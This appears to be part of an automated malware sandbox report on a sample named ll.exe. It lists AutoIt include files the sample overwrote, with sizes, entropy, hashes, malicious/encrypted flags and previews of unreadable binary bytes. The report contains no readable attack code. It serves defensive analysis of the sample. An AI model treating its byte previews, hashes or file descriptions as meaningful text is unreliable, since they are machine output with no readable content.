Preview:U....d*.g^9...s.I...YgFV..w@*......N `..8..Q*z..S..b.\+......R:.<~4.T;...+......F....s.`.....r.(J...u.NS J...Hx........W...tC..l....M.....%B.....B?k............5.@j.]V.a.5.[.....J 4kj.>LpQ.nQ.I.+...q.6..=. ..1.l...lw .Y....Zo{...=......b..k...R<cf3T.Q3.Jc...s..=.q:M0....[.6.5./..4...p.>]._...=y....\.~8[r..e........3*....4.~D.XC...t.K..dx...!..j..y.:c..'Q....(E...\.#N.S[.Y.km..@'j-.....q..N...#h.?.*.....Im...(.G.X.(@.>.J.?..d..`....?[1..Ko...U.?i...H..R.. <S....a.af.*..d}P...w..p.i}.n.8...#...Tr.H}.}.....2.a.T.A.Ok).DY...v..G....w8.Z.x.&....D.X.+..b}hg.`.....|...s$t.Yv..N....m.0K.u...N......v.....R....IS_:I..........L.r.Z...g9...qdz=L.g/{.C.....V..$..>....J........N.h..:...A4DZ,..p.....,b.(........UzD..B..3..V.._..$.......P.ZJdn.....JWm..E .T!..n...J..*.)B.qcooU.r..Z...5...l\w..>Z[.Lt......K{g.......l}..b........_.+...E.8M*r.z...h...G.C..&..^..moT..Xk(...@.L..G].R|$a.h......T\m.h..3..j.'....2..\&.]....){..]....5j.Jv.$..{.4...p......O}..

C:\Program Files (x86)\AutoIt3\Include\SendMessage.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2914
Entropy (8bit):7.934633910241685
Encrypted:false
SSDEEP:
MD5:90B6D11444DACBBE4060B20B2C7E30ED
SHA1:6C25586C61CB2B26EA9DE84C39E604DE5107A51C
SHA-256:A3DB94D1CDCB3288B0BF6E9C2A8CB85BE9B8AB0D999F4AC09BAF77B3AF44E7C4
SHA-512:CA4C77D65C22596A238B56D5144FBA4FEAA2326ED298C5A4C2F10F084D05CE55321EC9CC8ED0B5B818BF210E23D7FECA0C98201C7B4392DA949F60AF61886055
Malicious:false
Preview:..GH.!..T.!G......&<..G...u@;V.#....Jy..`.%.....'...Y.-...Bj.9.. V$^5..]{]...!.@.....8..v?FK..<...bo....P...0v@.;HP.zG....v...94..m..a][7...o...h...d..`.W.7.oa`.....R...x.g.h..j......?.....,.c..M...zQgB.....$+o+..O...b..$*...E.*B........=*.&h..s.._RW.==.@O..>?.]...>v..........s...4.Q...SJ.L2..../E.%....4.7.ArD.hV..I.N:......^.3Y..r.......0.0.z..X.........CB...[...}.....N.........0(nL..6.6.......#p|..m.K...../.*..cX...~M.N.4.-....?....f.0 .y.|..{..B.u.....D.w.`.Q...U....x.;....$^./..O.X........YAoR.....3...C..C...*....;.e...,....M.)^.9...+.%{..k..........!..J&Z..h........I.~.U....e5.J[."F =.m.?;z.s${..L.^...V..7O.J.Y../......k...M.V..8$....,.V#.U.."O.z..b.{.{s...Q...p...^.....n.-.. ....A4*.F....10..b`...5\......j........d.(.5.fl.....)3...NV/.i.s.`..J....4...ZS....}.3W.*........"K3....t....>Jt....i..#....|...j.S...2....S\C....\.s....p....Q..oK5.O...6..C....;x.`.{.},R...^...5...E,.$r5.I...2....}.oE...x(.)~....@.Cj...]_ya+21.y.....e.Y..

C:\Program Files (x86)\AutoIt3\Include\SliderConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4798
Entropy (8bit):7.962417144761663
Encrypted:false
SSDEEP:
MD5:9C2D8CDEA5FC9CC6F68D074FE935F70E
SHA1:FF43A3198AE6361A19626DF1AD7D4B0679B89634
SHA-256:A53C25391F5C9C00BF6A00252742739EB07EB7FC9409F5B28A9C2901AAA21E22
SHA-512:27A092F4B5FF5AFC8625B8C19B5F850132FA35828E084C690944B172C71A2E6D485685B674CE8CDFFED87C2985139E6CC9AD13E58AC318A6E391CC0C8D9BEE97
Malicious:false
Preview:...Ld...Bo!"..I.B.m..Z...h.G! 2.a...<..A........A.j...K.J.-o.!....3y.%...b.e_..~...X../Cx.......m.....m.......P.!ZP...yW...7d.{..>...p..n....!.h.....9.P.........{..4\A.-(3....a.*.m_.(.....`>.z.(........,.`..A..|..W.....m.d.owD. ~..K.j1.4...D"..k.J..j....../....\.+..?.?Dg.=@+..`.....f..QI.8.....j.T..L..............9..#.e..n,1..&...|hT..].+..S.....?..L..pGz.h..tA..G.[..".....5.C[......4...^.%.*.LU:..PS..A!F...$!e2R.......gi.SNh\... V&b-..@T.+...&T.....]..".mK......p.....;.....xB..s.....#.=#..B..x.........pw.{.?.`$..vK..x.+.M4.. .s.E.]...;....~.9...`.?.&X.4..Km..a.u.....l.n.0"....x.......}9.O.D...l2.D. 7....C.?B^MD.8...<..|......{..-..)S..F.`k.lq.7....n.[6'.!.v...<2.+...XY....G.5.m.K.\9#.mKOw.....[PY.y...d..No..mSu......</..Q.5.".}.5W.....%&ku.w...HH.S$(Qr....X{_C...@y.[..A.+..tX..........0s.<....-....x......1r....C.....PBD...5.....o.....1EE.......JK.......:,.$..7.0....%..9..+f.n.5IXF..B".J..m.5s.[W..!P.U....2/.H ...}......g.".W

C:\Program Files (x86)\AutoIt3\Include\Sound.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):23482
Entropy (8bit):7.99150605101537
Encrypted:true
SSDEEP:
MD5:1D5CB55B185212EDB27A4F36F2A1083B
SHA1:537F0FDB55304724A4F499B16255B8455203532B
SHA-256:851F003108F931CC54848677A424F30E06781A3ED7BA3CADC818E5AA8BC5BD55
SHA-512:51F89A5C8888C7CCAE23959D9347892F8AC4E7A92CFAC025E384C23A20EA7F311AB53050E510F3F7E0EDB375FE74895056F1F2A92730617131A900748A8D5749
Malicious:true
Preview:.*|C*...hmj..,....W..q.k.O.0.l...O5.@....}.E2sp...b.....<Qcf)..O...(....9...=.Iw"I+z:D.,.....ZN+..v.....$."...kN...v.zG0.._..C27/...`./.*...8...A...5.^+...Cj.I..H%G:...$.............0=y..dJ....z....(/....f......q..B....fn.:.[.$.}.....T....)B...Wf...RU_Vc...m^.F]x..zVL..k.M..`...BF..UM.P.t.v...:.:..N..`..e...k.uZ..-...)U?....b.....V.\..yd9...d`......77c...oc...m..1.b..F.>.{:...F/...z.ZR..T.\ryK.4..'6.?.h...b..>..rD..@.E......G_R.Yd....V....#....)Zo....$.B..*......bLNK...}...'s.[.Y.."y^.\...2..s.M...&.........*...VWk8....;.}..5G.C.7".~.W....;./.('...$s...|f...E.....8...4[.b...C._.....h...7m7dH.d.Z.l.....1....-.i..D.aW.8...l.Y.:..#|...M3e..b.?.c*Y..t.&.r........[.k0.Fb.. a......TCT...b...e....?.bd..~.G+x......T..L....).o....p.....X...Li......G.eR...!.+......Z....(.3.7......gte.2....i...gZ+o.......~..J.Mm...BD.t...:#..B..]5.....{a......wT..5......(....N..`x8d)h.]..V.1....lL.B.j.....u.X..t..,..a. .9..M.$.^...b.U.........n. m.f.7h(+....3.W(!z.....n.@.L.P

C:\Program Files (x86)\AutoIt3\Include\StaticConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2511
Entropy (8bit):7.924841986204284
Encrypted:false
SSDEEP:
MD5:5342656E17D529000FAB144385CFBDBC
SHA1:3D2B8109DFE2D54122E43985D971A9708C3AA1EF
SHA-256:A4649B58B0065892A7023A6BF75AF06072544C146D9F24020E5283BD1C80937E
SHA-512:BDB56B11B62D2C5B521DF67015721131095921B63DEB2B9296805F598A52095F7929D050C6E97DD06727A1141C33C9BCB5A3FC3529713F4D367BE6A59894C87B
Malicious:false
Preview:.z.nt.............+h..|7...j..2\...y.l..<`..PU.R.A.G...4...V.:.A.z1.Oi2.q.9b..D.q;......m..@.W....p*aq8G.kS..d....../.D.....0]..F.......(.$.c..uI.......i..r........[....8m..=1.....6...R-....k|L.O............./.g.i..y1K"N ..(...P.30q[4..."MB..@y).3.4B.F.\"Fy.{....Z..r...!Z........W ..tCb..K.).Vrk....=.vN.K0...T...N..[_\l.g.... ..l..PWn]..`4.q..".q..*...o>/..^.......).Q...t....". ..61^.TQ D.E..'..._.?........<..Y..L}m..w.c.rt..4........&...(u.o.B........OC.8..C....YeO..sg.....w..."P.H.U.J.....I..G.b6...+.1K..;.x.*../..Z.)?..}....9.....'_>....l..`.&...........v.Vm....]........~ke...-......!i.eu.n.vI.N...Y...^4..a.....sxX>.p"6......gK..%.w.....Es.w...l.-..Xb.<...:.-"U...qF#*.S...I...2Sj...h....j..W...i.s.H.>../.m-.+q.P%.1~.M..mN..a.....9.u...f.&...,......#.wi.;/{).W....y...2.Xl......d@..to...m...|)]..p.D.<...-....yoX....<.C.MjK.E.q......7....A=...}.....W....W...........e..c..(..........<...)..%........%....b*..#.;..?H...{.~u..x....>..z.Uf]..M

C:\Program Files (x86)\AutoIt3\Include\StatusBarConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3750
Entropy (8bit):7.952900416307762
Encrypted:false
SSDEEP:
MD5:B7CA31E14E4CCADB6275F9195B23DD72
SHA1:1877074D15DD14BB1443E6A1E36EFCF737C4F315
SHA-256:FFEA3CF0FB53E50050737857E80A63960C7E462E849DA252F877C4EC84901C0D
SHA-512:B1DEC09DA483F592C87FA42BA027668A6EF1169AAAD89ED7657F1D2CB006E92C843F5F48975F2E1316337A228BC05D6FDD4A5D473FC1003ACA13725273B88B13
Malicious:false
Preview:..........Q.^...1.R...+.1)...].H..*..T7......j.?Cmoz....;.U....i.KO.p_.&./...i.......(.k.v.!~RM.......JE.fi.(Q.f0..JJ..O..H..4....m'......{..'.KPS...o....X....S.).Xjk;...~.K.%g\.....X...4m....gn..i..-n.N`....d.......".j....#..}.rP...e.9: B.a#.Y..=]...v[..c..b6.....%-.hG#oo.uu.d_..A.......z...z.&.P..e..5.&.E.'l.&_/4...F....<.....4./......E..4...{.L...[.'k.....8.y.........g....2.Y.1;(.Q...q../..W.0J~X...Cp...'.....qe..h..F....~.H..M...+.A..z4.C8..*.I......#.Y5....m .+.H{.G"0.....Y..D]...5...-..m,s..C.. ...}..i.=@,...B.e(.1u.Q=..q.F.:.Ptj.....O..`I...-.."rZw.x....Y.1..U....%N..{...u\..A....!U.%...@..1_....S9.7O.x...p....^Ph;.E...2.2....RJ..%.~....I......wx....N.40..2.........a...[..p..fE_...:....f..@...?.2.0V....;....}.....1.Y..#.P......:....S.......;,na..b..QWq..k..)..B?.Y.P........5>.N..ba..&.R*...7.'.F......k.Nb.<....A,.......2I...>.....6.mr....<|."q........|.hm.LC..ig:...?~..JH....PDtDL\...mh`W....o.2kE..o..M.......p.o.N...Mw.'.|i...mf

C:\Program Files (x86)\AutoIt3\Include\String.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8844
Entropy (8bit):7.981533496771494
Encrypted:false
SSDEEP:
MD5:79E3C98B3B9D85E4A54FFAE84866BE87
SHA1:36B63B7579D5C39E5CB9202A3A63CD3A40114662
SHA-256:9F8C38BB9E87F409C4E1FADDB310528E8F676FCC6B840926E86E60D4BABF53BD
SHA-512:DC1E2BAAEC956DFE3DD02D6E2CE93B5DA1347E7A5E91016F6D64DCA606CAB0714A3E3B7DC3441FD0DEF219A9280F8294467B8EEA378F95E57FAC9458F425070A
Malicious:false
Preview:...q.Y1p......d....'......*...s.qW3.,..0~.8...a...;..2.e.g1.> t.",$....Ea>~...z....nX.....=......k..1.s{..s7T..6.xh....1l.l...K..Hbx......cJd.wNpPL3 P.R...&.a..p..c..x5..=..r.\.n....xq.Ad...R-.^G..{.......E.AF......Ey.[.....x.......*...%.{q!.|..Gk...-h|w4..B...VQ:..+...^.;u...N.........cf...xD3D.)..>%.j<...7..i..[.....j....?...Gu.{9&.....x..'...q../.J.>.F.0...K....0.....[.Q..~1C...&...%.s..<R.&.b......N.(....D....."..j.hu..%=k.*T^.8.\-....h.di....<.r.J..N.....k...79..7.L..Y:=k..E...gI...R...F;7+..........%a|..t...`.......).0..P.......1.*."..U..`<r.............1J<.Xw.{g.d.n..g&.D.oh........`.?.....n.......-.2..Br.KK!.&..t..@..rr.h...po-.... ..e.[....$..]u..#Q...j;.7..9.h.EKl.S...(+.H....K.....6......*.k.I.u..<.SR..1./Hzv".5.O..x...Oa.*1b..+.Q.#.dq..@..V.M.zN.&.sI...&f/...h.f.S]..!....x.......W'....z...m]...d...{.+C,......nE.M..i.E.*...!.^.o.jo..^.&...K.....t..}....5[)]..\.r`.& e.2&j....u(.*....A..>vu.0...3 :.fJ<....4...(..4,.

C:\Program Files (x86)\AutoIt3\Include\StringConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3388
Entropy (8bit):7.9424632262802755
Encrypted:false
SSDEEP:
MD5:ADA6A11C2172FCDA806AC796237AB454
SHA1:C53ADA459BE1BA3670171E5C48C776C3D2BE997F
SHA-256:6D3AB7E38FE06053D1ED5FC4F34EA7EFE0F4622F9E1D573A1EDACE6913C7E671
SHA-512:2658B097F25DBB421AA8B9D1847182641FBA358BD9FBE00DB7ACF833A66404675AC55CA27528F0C8F72D8B00EECEF633A42C39BDDD0EA564053A12BCE6BEA2FB
Malicious:false
Preview:.L.....u.OOE.)...b..c[...@.}z...:...z..{.b..r.,zR...5W.<A......%.N..i&..^sB..XJ.p..7-...'..~...J..*..i... .... .}Ar.....g..u.....b..K...O...........i.6..n.d...p.<..(....../`.X$.............C..W...q.{.....?.w.....N...h`.>.`.J.E..iu.[...@....o.)..\.k4.Z...;.Xla..q;....9...E+..qZm.*... .L?5kG .9.u....B.UR...?...Q.}...`Nc..)/..}.AX..&.p...FN..:e.>S.7...x&......Y....h.D..4.=3...\EF:...<.5.!.U...x"..".....F.7.f....>x&.P.........&.}lV.Cc..k.@......e......q.g.UI.u..w.p..)<....J.x...*.}.@x.}4.v.....1K...M...Hu...tE..T..c"Tb...?6:,Ec.:3.i..b...h=S.gp.W.....h..X6.9.6.|....a.x.Vofb.x....9...........3E.._L.[C..K9v..]..B..J.}..ob\<g4o..J!.*..Ej.)..k..em=.o.X...F......K.`,.$..1.FA$j..Ku...bX..+g.8.fD&%iV...a.]\U:cdn.......J.....B.R2.G..Z../..9.'..y.m......Z;skc//3.Z.`.....3..5N..#.{..ug.s.).".t.@.....;..O.}.q..mM.8mT.K.}...6..N&.....NT..y../i..R.h\yW......5...@.cwN.v.]........y9H.....{.,wu.........c.H..Y.n.].O...h..T..g.KC..2g.j..ja

C:\Program Files (x86)\AutoIt3\Include\StructureConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):64819
Entropy (8bit):7.997327793052597
Encrypted:true
SSDEEP:
MD5:69CB75613FE0491F510DFA66DF2979EE
SHA1:5CED80B40C7D45ACA92CE66055D75832CA478A3E
SHA-256:6EE06F4F6D78784121BFF88B70B60CF1063637110FB85C55F0C5929703863830
SHA-512:AFB2390EDF37E7D2005B1DE0CC29C5B0F4B7C7915C5B2CD177E71CD899537E3822209C7B7902D4667D68892F7EDC44249418E41C6F4AF1D5619B53EEF172BD36
Malicious:true
Preview:%...L..4..X../..`....G......,..M.'3.:yXS..>........G.*mce.....c~Cj..a..@.1.k.p.....3.\/...T.._....D..>...T.....|.Am)..u.A..,..!.X..5...B.b'..+..y.....7...T..?......c..r.E.8...I.`...n..._..C..Dg5...L.Q.;K.......n...S^"YIK.8.V....jd.IV...1.6m.O}-.5.E...."z.wN.I.sL..8.,.Q..=..DE..Zp.J.P....L.W9..iI..X9.G?.a....+.....%X...\..|....7...D.J..>.<S_..t.;.29..|..]b<...X./qZE$'wZ....!.r....K"..M.I.Fl.aM.....qO8......(..vd.8....0.\...f.....v`....p.WJ..6 `^_.b+/t...p......=./.$OP.4p.wQ.........d.%....<s..7W.,...y..am...~....}.I.XT.....[ ..b.z.J.A..].G.2..ws...]t@/;Amb..X.u..H.h&..../.)..c'.m.C.N.V.B..f..Q.......|....p.LF.........CK......h@...H..c....S.....8...a..8.......,.e....DYO...f..'..*.7~.@2..B....-.t.....Y.....g.b..y.F.(.4..Y.".S...T........M:.s..8.V........i....^rp.. .g..............1.DL..2.mj...s.5y...Qw.@.............4oq..h..t).R.LK...L.:..1R._..I...'y0.G.7.b.arh.c2.4..&..(S.c$RhOpr....4..y./y......*......?Y....?.JTa....6P....(...IA>...9R..w/.Jv.

C:\Program Files (x86)\AutoIt3\Include\TabConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6727
Entropy (8bit):7.9749631396464915
Encrypted:false
SSDEEP:
MD5:5CEC4080289E06691BFCE5357F4959D0
SHA1:03053C0CCE9C17B2480AD3B11056C10E79968B59
SHA-256:C4382549320A9B028E23C07E0D370908182EC4A5BDFFF7B33162A0F28187F440
SHA-512:52F4353D36098C51D2244584EFF9BBA78F23A72D220D71E613D6A74E0A5028F4D0E390908660748610C2C71BBE567FEEF87C43774AF38383AB796D19FA162123
Malicious:false
Preview:......:.:......P_`...9..C....?..g.....Io..g!.........m..e..........>.H..{}.O$?.kU..NZ.J....c|...6....<.........%....8.A.B..}]..N~[g@;..'.....J.J.A....{".^.k..|d.tkOK.4.b...O;Yn._r.#]....S..w..6..+_.^.......U-......s...o...SqH.[...#{...wh.p.8.W.\.W*0~.K...tY.d..'.h@..x.. ..%..h;hZ...O...r.. ..>..e.......m..V...K(.A.Y&h.=..x[..[...5...0.(.r.......#.v9..n.6.'.Z...V}...N&....R.j....9..P...S/5..yh.k.m...w..[..D6..'.......4;.a..l}q....H.....j.K..@.b........oa{f....6ha.#d...f".qWy};.P7..TIB..v}$..q... .0n...r...+....../l....\*Z.IR........1.5.....t..%.0..}......u...O,VV.Bs.......2.s.q..@N7"D..9..1....L...`.B1..$3.l%CQ.......f..".4...`=..r+K`....e..3.g..K'.^.O[{m..w...0e.....$....D.uM.q.l..~.....:.<%.....'#.Q..#..P!...."t...K..>xw.=..p.d...Peh.BH...-q~.KL.L.z.OP.H..8R..`....Y&~..q...n.z.L...C.q..m.....E..z{E...M*..... ....vt.e.\.[..$6...M.Qfg4..JA.gw.j..VT.........|.....I.....5..{.0:..._Q\z.._pK%F..9...o.:...I.0.4X..N/....,e*.=SZ.8>...=...@.}`<.j.,...c.

C:\Program Files (x86)\AutoIt3\Include\Timers.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12386
Entropy (8bit):7.98532067382915
Encrypted:false
SSDEEP:
MD5:CF1FB67474EE2C09E53483A8EC51B092
SHA1:52550F146C35336BF7087A6089D813CC08B80EBE
SHA-256:2512EF7106AF6D8882C111EBE91302E22906F32B1DE0C4A068A1B8611538470D
SHA-512:5D2D90A39E6B6D72BEF5BCD4E9E1947BC950148F4F01B9D7CD15033B4B127EB322B1C1612FA5D279E19277DDBCDEFC9B23A4447D4BC2C0E902F4730983F4F781
Malicious:false
Preview:.^.O....~%0.J.vYu.~...F..W!.l.1..w^..j.cl..;.......+m.k.......\....K.....OL.....3.(......_.O.Y....y........n..r..SG...7.mq...,>p{.K..#...|..U..X..OP....I.h.Z.........F;..$.f.3a+..otM...uJ...aj>#v./4.....hB.......m9.<...B..~.]u......%O........f0...t....U<..5.p.D<_....].X.}o+m8....V/.:...!......d.dBT....7).....e[#..."...PRV5..~[_.r'..wa.K..9YL_..?..}........P.'?f<.."....I...OL....K?0J.%.B.t.2..T.T...jUN.{.Y.....~3.&C.?:=3.....,...1 qcM.B.;......g`.I.....!...X...c:|&H\2....Yo/A.....N..[..-GK..=&....Q.....]......E...ucbQ.l..\.S.!0..a5......%.{..Z....0.j.....j......PV.UU......;!n$5[O..... ..cc.p_.>..-N.Tu<....I.....%.kR.P.~|..........1E.O....]Df.....R#.P..9 y...7.....d...'....C)gn....K.......|? W....2.z..h..ka.v@.X*U._..`?..]....L.VO.(.k6}.`..,k..m.&/....:R..'.j..{...$^...<tU.\e.V.D...$.`wk.D`3,..g@....~X.d...t`0..>...P..th.>3.....=..^j3:..C'.a...z7....5....-wR.l.:.3.p....1.V.7..'H.vz.!S.=..c....OI.D.....Z...+.7.he.]...).7....

C:\Program Files (x86)\AutoIt3\Include\ToolTipConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6060
Entropy (8bit):7.971801496408948
Encrypted:false
SSDEEP:
MD5:C91BD8522ACD2FFF073D2A5AD35462A9
SHA1:216A066137AC7D99E026E68784B57B2E178D9718
SHA-256:0381AFA660B93ADA80FCACB4BF37E0B950A43C6CCCEBD2E4000FDEB838050102
SHA-512:5D527C0F5D74701779DC5415007EC75E3BE0F6F41BC77C447C9C0D4D491EDC776C099FD29B4C2014884E911E7ED451719A49DBFC5E6E6B9866DF8E30505D5C1E
Malicious:false
Preview:.s..'....O"....L..CMK.[.f.cuI8.....H.......e....L.{9..|-....9..(\?.'......e.z.lum..W.....*[.8...9...y.....w....gG.(e.T.4.wC.]yo7....0R_."(r...}...l'.v.....v......APm.53.AZ.....n .?.*I..o..Vg<.......D....y...j......0.......e.gK..u.9?.._Z.F-......6....,y./..C.L.m......v..%.3f]....z1=.=txro.@.#a..BV..... BzRzV...'.<OW..^..-.~>.T.M.}.0.g<.^.L....J;fn%T./8........&:...B.<u].v....|.hJ.<Kc^/..=/|.7Q......0.BD...%x...Y.P.y....c.S..L....%Y.G.n45...../::.x..6...B_.vl.X..u^&."......u~b=.A..fj....c;eE..#U.G....'.o...=..6!.0.....+.e._....{Y..".&....}.X.if.D..V,p.Ss.........Y.x..g.@.T/...D.2.|1..~.`.s...Q.m...^..o....+...........'I.j...>&Q...mp..p>.f.Q.#j_..N.........A8..?.\...G......3Y.@...)5.OX_..:.+.O...{..7.t...'...\P..!.h.....Q...t..)....i..l.R...H.. ...~..A....A...%.r..cW...+Z..eLE_b>.P.R.....o..]@.......o..=..`U..5@...:.Sx..0..PB...]......u.......9.....4_.Kt...zg.J-`2..b.(...*...........Y.!....,...]O.....z.5+..#..9o..#.S}..q.gJ{...g.p@...".;

C:\Program Files (x86)\AutoIt3\Include\ToolbarConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14267
Entropy (8bit):7.986377578697067
Encrypted:false
SSDEEP:
MD5:3402706301334D96627331A082EA6074
SHA1:7A3367AC386163A022C3E97F5ED5C492ABD6763F
SHA-256:0D674B3C0D5A5F60D657A4D05281013282A53B0DB9E5F052E5CEB76B67C01B81
SHA-512:5754E6600C04AB6FB7C4A2087A3E3FA8D2CD02D2BA31E3B57C82481132ECB30D2E2CF7D9FA65B591BD7B817FC0EB90CDF119DDA2EE64980E4124FE2A925FE97B
Malicious:false
Preview:....5k:.\.e2..z.c...j....ap...V.J).T...............T\X..d[.*.W...).m2.........f.....C.=.BD..!G...........qp.\....@....;..9..!qw..M...w....-..../.p...8.p......b..8.NTP..p^..I~E...u...FF.@.^.5A..qru1..T...M\.(.i..k=#..^..R.:C.ZI. w..>.fH.D..&...{m.@b6.|@Aw....A........[....Hf9W2Z..o...3._.(R(B.YYNl..E...r.<........<...p......`I)v...Z....... ........a.v;.Xa:Es...r0.:.hf.2X{|pVD.....#...<..R......*EX....I..m...~i...N.:....\*...I..5..%h:.Y....WcCO^..K.u..$. )...:1.k4..i....r.......+.\.....w`..P..#23s...........n..UU`....(.p...:.p...B..\..u....p.s..S=..q..E..;.(%2. .X$({~.U(J.l.........E.b.*...a...]!.....Y..2.;.S.0^J6..........U.[U.j1..%..?;.0....4...A.^..,.5j...L..b.'..e.C....... 5....-.......V+....BPO.u.R......x.@../.....6....?u.v..lhM....^6e.1V.S.Dz .4..l...X..R..p-..2t{..X.2<"....C....\c{1A.......S...<&..,.C../.3.n.."..S.F.&..-.Qg...q.>xu...q..h.p.....I!......C.~...N.N.L=.j..M/.<.V..N.....r{w3..3.....q|... ................ ..B.tnq....

C:\Program Files (x86)\AutoIt3\Include\TrayConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3196
Entropy (8bit):7.9358927435760656
Encrypted:false
SSDEEP:
MD5:9D031FD7C11CD4DCF282ABBB177EB538
SHA1:2740EE9DD11A0449AA7CE06A5CF9E65A44EE68EB
SHA-256:B72C5D78B96B7DEB10487453EF55DC61EDA2DABBD11DBCC687634A21C80E0E45
SHA-512:72B6E33683AA52496CB04E91C3CAA124F1184FB81F9914C43F639C826865F28F8B155207310023CEBF9EFD37C389C2729B9B0A54689583EF04731393DD49635F
Malicious:false
Preview:/D.idvYR...-....Z.?vB...>e..^..p..5.k..f.....:...2Ia>.w.G......!x.3s"...0.y.v...O...\...&..(.+.k...(.EhX 8.e....Z.a`h...+..?~..P...s...b.D........H..bf:.+3,.a...,p...y^.v5....R=...u.@....XHH...LX.[..t*.'...a7.9.._(.l.[t.'......0...E..[..........*=.Rmx_...)...U.X.r....m.....U....<.N..[..i.g.%....M...o.-C......(u}B..1.....dv@.Y3.....*F...{.K...J.{M.._..z'.w.z......j...A..]..*y.?..4.L."..z...Z.!.y3t..J.L.w&.2..F.....!..X....^...L..4e..%l.."^/.....2..4..w:b.z.71..1..L..k. ....>.k....k.7..CA......{..yg%.X....n...Y.Y.(........K.Ldn.J.w...F...[........r..n.&...D.{o..{....... ...P.E.....<p.q%..:.....Ryp.X=X......]..S...UR..?...3"U..p..`.}..p...G.........E.8r.+.....gqI.h.Hh....#Yn^_j.-8..$.0\......dy...|.{.D..#. ..R..D?;.....?.vT[^W.4Pk..S|..+.....Bv}.s..!............+...~.I....4.+U.!.'.=g.......(..5.....3./r%.F.m.O..8...x.O........=.v...z...I....@...w.p..W.E.;Z... ....1.-...X...n.a.7..!.m.aq.2*o".....s_.y.|.P:...Q.JT.J.C.Ve..~..U 9.B.

C:\Program Files (x86)\AutoIt3\Include\TreeViewConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9935
Entropy (8bit):7.9783145281979095
Encrypted:false
SSDEEP:
MD5:91AF67799E02098EE502FCA19DBDD567
SHA1:27ECE6A7459047C7C424E1A53C6DAC30E5612890
SHA-256:70FC24901AB5989F9508AAD760B404BA661C4721F74EFF1FF2D77E8710F7E109
SHA-512:3DFDDCE4ED5A62950562B099A00EED609DE1ABD9102B86C8301AFE358C938A2E18F504FF84BD131E4A83A0CAACF39E942CD4FBB987B904CBF0C9C2351393DAA7
Malicious:false
Preview:..r.d$...t~>C..1.;.c.....^...UD...F`.../.~...X0?.GJ..@.>.Nb..&.5+g.&.v..Q....Z....Wc.BG&.K$.....N7.dP..-......K.N.1...4..^../..7.Ku.\<-.......W...w.....J........$....;.(.Rq........P.gBC.n.2.P.R9../....D_.DFw..\k......T...^.h....a..z.E.........=...Q^...)w....Z4.0e..m....4..].k..8.f......c..K5..t.M.d..}..."....T..8`.......n@=.Q....GZ.P.`o..8k.%.X.X.......k.Q....~..P..WB.....K"#}..+.D.9.,....M...{..!.N...xR.fF.U..H.v.n+^O....fL...uh....]^-...`......E.z&...r9Z.qe...N(..7...7.......m>.....r.?...S..e$&d7.L.[0.l......N.L..L-.~..A....Rm....^.5U*j...L....tV.h.R...<g^.u.J.?..j.nYKK.n.....n\.1.2*.d.!..-.`x......KV.1..3yK..Vo.M..V..u(@.l%c..Y(..W..h.Bqv.........U.....'....X..... '.w...3&...Vo.2....$..O.R.'.-....e.s..X.IQm.|.......<r.2%..|a....$lOdW.....p.H.>.A.Kj.S...lo.,...:]......X....sb.....~..m=..Y)..-.Jt..qw3:JN..C.....L..../..7Tx...6.O.7..I.Sh.{...K..z.%...n.=......BF?..0W.q.2.........)e...1b|..h..!S...0..Fh..a..L..qo..[..X.G.1h.y........

C:\Program Files (x86)\AutoIt3\Include\UDFGlobalID.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7223
Entropy (8bit):7.9751698187428115
Encrypted:false
SSDEEP:
MD5:500D8D4B0DBAE639AD5AEFBD0AFE3825
SHA1:D62860D1B893532FAE2E1573470042497E5C3E06
SHA-256:5DD92A4A5F739E1A05D22473563880766AE02A3F6360961121BEF5B60BB44EED
SHA-512:EE532CE815B1A0A51A9C77133A296794778A724E2C37A98671E7742DCE0C6D192409745578C96FC3D5EFBD6D2A2C582E178B6FEE1550EE62411450049CB7B404
Malicious:false
Preview:.U....U.?.....%.(.[f...l....S.hus*.....X.WT..b...2v,8i^.g...W!{.9.;...1...7.........)~~E.'..yj..K=.c......L..C>?.R.n~J....^.H..[....r...V.|.......gh..dI.......P..S.........;...J..S>I...X...\o.."j.3..z.~...E.$.\.2.....>..I+`@,.I...>....l....F.-_l....:..C....^.g}.a..7.D..1..8.>.m.mi....vn.z..<....1.....;.ok;4@...........>...&1(.d.x.....5C....n=..~.s....".-?..Bs3-]y....E:....S.8.T..S...(.B!.d......<..R7o..4.....%.r..)v...3...X.5.K.LC.w;.bf..m.Y,.).. .Z.3.(......0T.G `R:..G.9...<XTTv ..l...E..JD..f"..r...j..U.3...$.J......~...jK.........#..`...."xc..<.M.F...!..".."...a.. .......w.hb...vx......F;.1..A+....r.D...E!bR?2....O...N.e.K.....p..hq..h..(._o..:h..,.M|.9..\D.j..a...FTb..m......../"..Ck:....y.<...$.C...C..G.Mi[.U1...hJ..m...F.h..u.,.....ea...`.D.NW.L...q. .D1w.:=?.:.&b..B.`.2Q?5.>A.#.R..-:.2.b...+....V...i..U.&S........._......@/Y..>...o./...(...0.>~.....h...f&!~.6.j... ..y}.q....9...G..c..Z$.=..FB3.+.u+>...*..6..."...;M.K.z...L.

C:\Program Files (x86)\AutoIt3\Include\UIAWrappers.au3

Download File
